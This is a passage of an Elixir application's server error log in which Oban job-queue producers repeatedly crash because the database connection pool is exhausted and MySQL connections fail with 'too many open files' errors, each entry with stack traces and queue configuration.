    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:56:52.247351Z], limit: 5, uuid: "249159a1-fc85-42f1-9bf3-066ff1537a1d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:52.247357Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.252758>, refresh_timer: #Reference<0.2525715032.1099169794.252755>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:56:52.242519Z], limit: 20, uuid: "5d79de3b-dc01-42eb-a087-884ebd12bf1a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:52.242525Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.226179>, refresh_timer: #Reference<0.2525715032.1077411843.226170>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:04.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:56:52.246604Z], limit: 10, uuid: "2783c4d1-eaf1-4bea-ae20-3225cf9b3f8d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:52.246617Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245749>, refresh_timer: #Reference<0.2525715032.1099169794.252743>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:04.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:56:52.242521Z], limit: 5, uuid: "198cb124-59c4-4970-850c-f700b1e811c6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:52.242528Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245750>, refresh_timer: #Reference<0.2525715032.1099169794.252717>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:04.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:56:52.242707Z], limit: 3, uuid: "9255889c-f9f7-4220-ad18-2d854b7f3666", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:52.242712Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245752>, refresh_timer: #Reference<0.2525715032.1077411843.226178>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:04.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:56:52.240583Z], limit: 50, uuid: "ec15e5e2-f6d8-45eb-baab-f15141928f4e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:52.240589Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245751>, refresh_timer: #Reference<0.2525715032.1077411843.226160>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:10.454000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:12.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:13.347000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:15.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:15.686000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:15.766000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:57:04.244618Z], limit: 5, uuid: "21934013-a78b-4307-b699-0bca902e782c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:04.244623Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253070>, refresh_timer: #Reference<0.2525715032.1068236804.245920>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:57:04.244415Z], limit: 10, uuid: "9d9e3f28-7db0-4f7a-af30-6263fa170b8e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:04.244422Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253069>, refresh_timer: #Reference<0.2525715032.1068236804.245918>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:57:04.244767Z], limit: 5, uuid: "e0ec4a88-3249-44e3-a24f-ebb3f4bda9e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:04.244772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253071>, refresh_timer: #Reference<0.2525715032.1068236804.245927>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
